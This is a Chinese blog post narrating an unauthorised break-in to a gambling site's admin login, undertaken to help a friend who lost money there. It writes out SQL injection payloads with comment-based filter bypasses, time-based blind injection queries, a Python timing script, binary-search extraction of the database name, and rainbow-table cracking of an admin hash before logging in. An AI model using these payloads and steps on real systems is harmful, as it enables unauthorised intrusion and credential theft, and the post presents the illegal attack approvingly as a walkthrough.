进入网络BC后台我惊呆了

一位朋友在某BC平台输了很多钱,找到我,问我能不能帮他攻击进该平台追回输的钱。于是有了此文

凭借多年的单身经验,很快,我找到了博彩平台管理后台登录地址:/admin/login,然后我随便输入一个账号和密码,提示“用户或密码错误”

这里我没有头绪了, 系统的安全性好像做的很好,我连账号都没办法确定,因为他提示“账号或密码错误”,而不是`密码错误`或在`账号不存在`

然后我尝试进行SQL注入,当我输入一下payload时,都提示“发现SQL注入”

or '1'='1or 'a'='aor 888=888and 999=999and 'abc'='abc

图片

当我输入 or/**/'1'='1的时候,竟然不提示`发现SQL注入`了,只能说运气比较好吧。

图片

由于提示的是`用户或密码错误`,所以不能通过观察响应内容来判断是否存在注入,所以我想用时间延迟来碰碰运气。

当使用sleep()函数又提示`发现SQL注入`,改成大写的SLEEP()也一样

图片

sleep()被拦截了,难道benchmark()也被拦吗?

图片

我尝试了下benchmark()

图片

果然没出意外,改成大写的BENCHMARK()结果也一样,这让我有点蛋碎的感觉。

但在fuzz的过程中,我发现一个有意思的东西。

当我输入admin' and/**/1=1--+,大家注意burp的右下角的响应时间。

图片

当我输入admin' and/**/1=2--+

图片

admin' and/**/'1'='1 响应时间262毫秒admin' and/**/'1'='2 响应时间14毫秒

巨大的时间差距,我好像发现了新大陆。为了排除网络波动的原因,我反复测试了几次,结果都是一致的。当and条件为真,响应时间200毫秒以上,当and条件为假时,响应都在10毫秒以内。所以,证明这里是存在注入的。

然后我突然意识到,admin用户是存在的,因为我用的是and而不是or。

然后提交两个不同的用户名:admin和djsiajdsam

username=admin,响应时间242毫秒

图片

username=djsiajdsam, 响应时间只有3毫秒

图片

然后用admin' and length(database())来判断当前数据库名的长度

图片

编写了一个简单的脚本

import time,requestsdef calculate_response_time(url,username):    start_time = time.time()  # 记录开始时间    data={"username":username,"password":"adminadmin123"}    response = requests.post(url=url,data=data)    timespend = response.elapsed.microseconds    return timespend

if __name__ == "__main__":    url = "https://xxxxx.com/admin/login"    for i in range(1,10):        username = f"admin' and/**/length(database())>{i}--+"        print(username)        response_time = calculate_response_time(url,username)        print(response_time)        time.sleep(1)

但是结果让我感到很疑惑,因为不论length(database())大于多少,响应时间都相差不大。。

图片

没有办法,只能手工一点一点磨了,真让人懊恼

当length(database())>8时,响应时长为280

图片

当length(database())>9时,响应时长为8

图片

由此可以断定当前数据库长度为9

接着就是用substr来获取数据库名

admin' and ascii(substr(1,1,database())))

字符的ascii码范围从32到127,127是delete键,所以到126为止。

图片

通过二分法,提升盲注的效率

(32+126)/2=79admin'+and/**/ascii(substr(database(),1,1))>79--+ 响应:275ms
(79+126)/2=102.5admin'+and/**/ascii(substr(database(),1,1))>102--+ 响应:268ms
(102+126)/2=114admin' and/**/ascii(substr(database(),1,1))>114--+ 响应:5ms
(102+114)/2=108admin' and/**/ascii(substr(database(),1,1))>108--+ 响应:5ms
(102+108)/2=105admin' and/**/ascii(substr(database(),1,1))>105--+ 响应:5ms
(102+105)/2=103admin' and/**/ascii(substr(database(),1,1))>103--+ 响应:282ms
(103+105)/2=104admin' and/**/ascii(substr(database(),1,1))>104--+ 响应:5m

至此,当前数据库的第一位字符的ascii码为104,对照ascii码表为h

admin' and/**/ascii(substr(database(),2,1))admin' and/**/ascii(substr(database(),3,1))admin' and/**/ascii(substr(database(),4,1))admin' and/**/ascii(substr(database(),5,1))admin' and/**/ascii(substr(database(),6,1))admin' and/**/ascii(substr(database(),7,1))admin' and/**/ascii(substr(database(),8,1))

以此类推,注入出当前数据库名:hule_aibo

后面通过information.schema数据库注入出当前数据库的所有的表名称。历经一整天的时间,纯人工盲注,最终得到了hule_aibo数据库的hule_admin表中的admin、chengfang、wangjiandong1994的hash密码。不幸中的万幸,通过彩虹表碰撞出了wangjiandong1994的密码明文。

图片

登录后台,当我看到充值金额,我惊呆了,从2023年4月以来,该站充值成功金额竟然高达百万,果然暴利的项目都写在刑法里。。但比较可惜的是,拿下后台并不能帮助朋友追回输掉的钱。

我不知道后端发生了什么?但可以确定的是,当用户存在的时候,后端逻辑做了一些事情,导致响应时间变长。当用户不存在的时候,后端没有做这个耗时的事情。而这个耗时的事情,大概率可能是复杂的加密算法运算逻辑。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值